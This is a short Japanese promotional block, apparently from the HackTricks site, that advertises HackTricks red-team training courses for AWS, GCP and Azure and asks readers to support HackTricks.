Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする